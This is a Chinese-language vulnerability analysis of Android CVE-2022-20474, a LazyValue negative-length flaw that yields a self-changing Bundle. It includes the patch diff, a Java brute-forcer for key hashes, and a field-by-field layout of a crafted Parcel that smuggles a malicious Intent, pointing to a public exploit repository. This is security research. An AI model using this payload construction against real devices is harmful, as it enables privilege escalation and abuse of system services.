Share
## https://sploitus.com/exploit?id=FD20B489-42DD-5304-A5AA-B524CDB0D5B4
# CVE-2022-20474分析——LazyValue下的Self-changed Bundle
### 前言
温馨提示,阅读本文前,应当对Bundle Mismatch相关漏洞有初步了解,以下参考资料假如您还没有读过,建议先阅读一下:
1. [Bundle风水——Android序列化与反序列化不匹配漏洞详解](https://xz.aliyun.com/t/2364?time__1311=n4%2Bxni0%3DG%3DDti%3DGCDu7DlxG2fImHw4qiIYwE%3Dx):经典的入门级别教程。
2. [Android 反序列化漏洞攻防史话](https://evilpan.com/2023/02/18/parcel-bugs/):很好的总结性文章。
3. [TheLastBundleMismatch](https://github.com/michalbednarski/TheLastBundleMismatch):第一篇LazyValue模式下的Bundle Mismatch文章。
### 背景
最近正仔细学习[michalbednarski](https://github.com/michalbednarski)的[LeakValue文章](https://github.com/michalbednarski/LeakValue)。在与Canyie讨论的时候,他说在这篇文章中还提到了一种在LazyValue场景下Self-changing Bundle的情况,然后我就去翻找原文,果真有这么一段,而我在读Michal的文章的时候直接漏掉了。原文中如下说到:
> (Also `LazyValue` with negative length specified can be used (without using other bugs described in this writeup) to create self-changing `Bundle`, the thing `LazyValue` was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal指的应该就是CVE-2022-20474 ([bulletin](https://source.android.com/docs/security/bulletin/2022-12-01#framework), [patch](https://android.googlesource.com/platform/frameworks/base/+/569c3023f839bca077cd3cccef0a3bef9c31af63^!/)),我瞅了一眼patch,但是补丁链接中函数并没有很完整,补全它之后再仔细看一下:
```diff
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
```
代码中的`objectLength`就是`LazyValue`中的`length`,事实上这只是`LazyValue`中包含的可变对象的长度,而整个`LazyValue`的长度应该是`mLength`字段来控制,即代码中的`valueLength`,其在`LazyValue的构造函数中,将值传递给了`mLength`。
让我们在对照一下`LazyValue`的布局格式如下:
```java
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
```
基于上述的内容,我们可以得到如下**事实**:
1. `mLength`代表整个`LazyValue`的长度,`mLength` = `objectLength` + 8字节。
2. `objectLength`应该大于等于0。
3. `LazyValue`对象中只保存了`mLength`,而没保存`objectLength`,因为`LazyValue`作内存拷贝的时候是基于整个对象来做拷贝的。
4. 读完之后的指针是前移的,可能还会再读一遍`LazyValue`
然后呢,经过深思熟虑,我们一致认为,这些事实没!啥!X!用!因为基于上面的事实,也只能在read的时候修改一次,而我们知道`Self-changed Bundle`的核心思想是read完成后再修改,才能绕过安全检查。
正当我们准备放弃的时候,突然发现了补丁的描述中有一些细节:
>Addresses a security vulnerability where a (-8) length object would
>cause dataPosition to be reset back to the statt of the value, and be
>re-read again.
### 异常的`objectLength`
其中提到,`objectLength`为-8的时候,会存在一些问题,这个给了我们一些额外的启示。此时`LazyValue`还能正常的apply吗?
```java
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
```
可以看到真正的`readValue`会从`mPosition`开始读,然后依次读取`LazyType`和`objectLength`,然后就进入正常的`Value`读取流程了,例如`Parcelable`需要读取`ClassName`,然后执行`createFromParcel`,读取完成后,与普通的`Key-Value`没有任何区别,也不会对后续的序列化产生影响。再度回顾一下,`Self-changed Bundle`的核心思想是read完成后再修改,这里只不过是一个普通的越界读取而已,看来这个方向行不通。
那么`LazyValue`在此过程中没有`apply`呢,换言之就以`LazyValue`的身份继续参与IPC,此时会调用其`writeToParcel`函数:
```java
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
```
整个`LazyValue`会直接复制过去,除非`mLength = 0`。等等!上文提到`mLength` = `objectLength` + 8字节,而从patch信息中可以知道,要想触发漏洞`objectLength`应为-8,那么此时`mLength = 0`就成立了。换言之,在这个场景下整个`LazyValue`就直接没了,只会拷贝`String Key`,这样就造成了一个缺失的写入,`Self-changed Bundle`的条件直接满足。
知道了原因,我们就能开始复现了,不过在这之前,我们还需要亿点点细节。
### 细节1 两种类型的Bundle
```java
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
```
我们都知道,`Bundle`的内存布局中大致如下所示:
```java
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
```
`MAGIC`是Bundle在内存布局中的魔数,可以`BUNDLE_MAGIC`或者`BUNDLE_MAGIC_NATIVE`,这两者最重要的区别是`BUNDLE_MAGIC`会让`Key-Value`在反序列化完成后,进行重新排序,如以下代码所示:
```java
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
```
`MAGIC`标志最终会影响到`readArrayMap`中的`sorted`的值,从而引发对map进行排序。注释中也提到,排序的方式会通过`key String`的hash值。
### 细节2 反序列化中的Overlap
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
让我们再度试想一下`ArrayMap`的解析流程。在第一轮解析的时候会先解析`Key1`,然后尝试解析`LazyValue1`。但是`LazyValue1`的`objectLength`为-8,`parcel`的指针会回到`LazyValue1`的开头,即a点,这就是在上文中提到的**事实4**,至此,第一个`Key-Map`已经解析完毕。第二个`Key-Value`是从a点开始解析的,此时会先读取`String`的长度,假设`LazyValue1`中包含的是`Parcelable`,那么这个长度就应该是4。因此,真正的`Key2`应该是从a点开始的,即 `Key2` = `LazyValue1` +` FakeKey2`。`LazyValue1`中没有包含任何数据,所以长度是`LazyType`+ `objectLength`的8个字节,整个`string`的长度则为4(长度标识)+ 4 * 2+ 4("\0")= 16个字节,除去`LazyValue1`重点8个字节,我们在构造的时候还需要在后面补8个字节,即2个`writeInt`。然后接着读取`Value2`。因此,我们第一次解析的时候,需要用一个`Key2-Value2`来应对解析一个`objectLength`为负数的`LazyValue1`而产生的指针前移的问题,而这个`Key2-Value2`的值我们并不关心,因为它只在第一次解析的时候才用到,只是一个工具人。既然是用完即丢的工具人,那么第一次解析完成我希望它能够离我们的关键数据远一点,而且`Key3-Value3`中才装了我们的恶意数据。最好`Key2`的hash值能够大于`Key1`,那么它就不会影响后续的解析了。通过**细节1**,我们可以通过调整`Key3`的hash值来完成这一目标,我们将在**细节3**中进行详细介绍。然后我们进入了`Key2-Value2`的解析,`Bundle mismatch`老规矩了,`Value3`里放一个`ByteArray`装恶意的`Intent`即可,但是`Key3`还有一些额外的限制。第一轮反序列化完成后,`ArrayMap`的布局应该是这样的,工具人`Key2-Value2`被丢在了最后:
```
Key1-Value1 | Key3-Value3 | Key2-Value2
```
而上文**异常的objectLength**中提到,`LazyValue1`的长度是0,所以在`writeToParcel`的时候,根本就没复制过去!事实上的布局是这样的:
```
Key1 | Key3-Value3 | Key2-Value2
```
`Key1`读取完了之后还要嗷嗷待哺得去读取`Value1`,这里又又又又越界读取了,`Key3`还得承担起读取`LazyValue1`得重担。`Key3`中第一个`int`既要充当`String`长度的角色,还要充当`LazyValue` `Type`的角色,这就代表了`Key3`的长度不能太短,太短了hash不好算。看了一眼`LazyValue` `Type`的列表,我看中了:
```java
private static final int VAL_LIST = 11; // length-prefixed
```
当然你要选12、16、17也行,反正别太短就行。
而`Key3`中第二个`int`还要充当`LazyValue`的`Length`,通过它,我们可以控制`LazyValue1`的长度,把下一个指针指到恶意`Intent`的开头就好了。你要说`LazyValue1`中的内容不合法?那和我没关系,你只要不调用`getXXX`来`apply`它,那他永远都是`LazyValue`。
### 细节3 暴破器实现
写一个暴破器即可:
```java
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
```
当然,我们也可以暴力破解`Key2`,把它调整到前面去,但是`Key2`的长度是固定的4,比较短,能操作的空间少一些,而`Key3`的长度我们在上文就预留了一些,让暴破起来轻松一些。假设我们的`Key1`是字符串`"Cxxsheng"`,我们希望控制`Key3`的`hash`值能比`"Cxxsheng"`的`hash`大,但只大一点点,我设置了1000000,那样它们就能够有较大的概率永远在一起了,第三者`Key2`就无法插足了。上文提到过,`string`的前两个`int`是固定的。因此我们先写入`VAL_LIST `(也是`String`长度),通过计算得出离恶意的Intent还差32个字节,剩下的几个0都可以用来爆破了。随便选了2个爆破即可。
### 复现
| 值 | 说明 |
| --------------- | ------------------------------------------------------------ |
| "Cxxsheng" | 第一个key |
| 4 | 会读取两轮:第一轮代表`VAL_PARCELABLE`;第二轮变成第二个Key的String Length |
| -8 | 会读取两轮:第一轮代表`LazyValue`的`objectLength`,会导致读取指针前移,导致两轮读取;第二轮变成第二个Key 的String Value |
| 0 | 第二个Key 的String Value |
| 0 | 第二个Key 的String Value |
| 1 | `VAL_INTEGER` |
| 0 | 第二个Value |
| 11 | 第三个Key的String Length |
| 32 | 第三个Key的String Value |
| 0 | 第三个Key的String Value |
| 0 | 第三个Key的String Value |
| number1 | 第三个Key的String Value,这两个值用于调整排序 |
| number2 | 第三个Key的String Value,这两个值用于调整排序 |
| 0 | 第三个Key的String Value |
| 13 | `VAL_BYTEARRAY` |
| LazyValue的长度 | 计算得出 |
| ByteArray的长度 | 计算得出 |
| ByteArray | 其中包含了了恶意的Key-Value,即`Intent.EXTRA_INTENT`和其Intent |
可以通过`number1`和`numbder2`来操作第三个值在`ArrayMap`中的排序。因为`ArrayMap`是依据`key`的`hashcode`来排序的,这样可以让第三个的值在反序列化后变成第二个,紧跟在第一个"Cxxsheng"的后面,如下所示:
```txt
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[一段乱码]=[恶意的ByteArray], [一段乱码]=0}]
```
可以看到我们读取的顺序也会和写入的顺序不一样。在完成写入后,上文我们分析过一整个`LazyValue`都被丢了,而第三个`Key-Value`被重新排序到第二个,其中也包括`type`和`objectLength`,因此,页面布局将变成如下所示:
| 值 | 说明 |
| :---------------------------------- | :----------------------------------------------------------- |
| "Cxxsheng" | 第一个key |
| 11 | VAL_LIST |
| 32 | 第一个Value的长度,后面的合不合法已经都不重要(反正不会去apply这个LazyValue),这个直接指到ByteArray中恶意Intent的前面 |
| 0 | LazyValue中的值 |
| 0 | LazyValue中的值 |
| number1 | LazyValue中的值 |
| number2 | LazyValue中的值 |
| 0 | LazyValue中的值 |
| 13 | LazyValue中的值 |
| LazyValue的长度 | LazyValue中的值 |
| ByteArray的长度 | LazyValue中的值 |
| ByteArray开始/`Intent.EXTRA_INTENT` | 第二个Key |
| Intent | 第二个Value |
| 第三个Key-Value | 被排到了最后 |
### 利用
读者可以自行利用经典的`AccountManagerService`利用链,至于能否利用本文不再多做赘述,因为这取决于2022年11月份的补丁中有没有`checkKeyIntentParceledCorrectly`函数。在此额外解释一下,该函数利用了模拟IPC的调用流程,来阻断了`AccountManagerService`利用链。因此,在Android 12或者13上即使存在Mismatch,也未必可以利用成功,需要寻找bypass该函数的方法。
我们可以仿写一下这个函数,来模拟IPC调用流程如下:
```java
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); //debug的时候这里可以在这里看到parcel数据
// marshall不会改变Parcel指针
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
```
然后欣赏一下通过模拟IPC调用流程的日志输出图,具体可以参考我的[Github代码](https://github.com/cxxsheng/CVE-2022-20474):
![description](https://raw.githubusercontent.com/cxxsheng/CVE-2022-20474/refs/heads/main/img.png)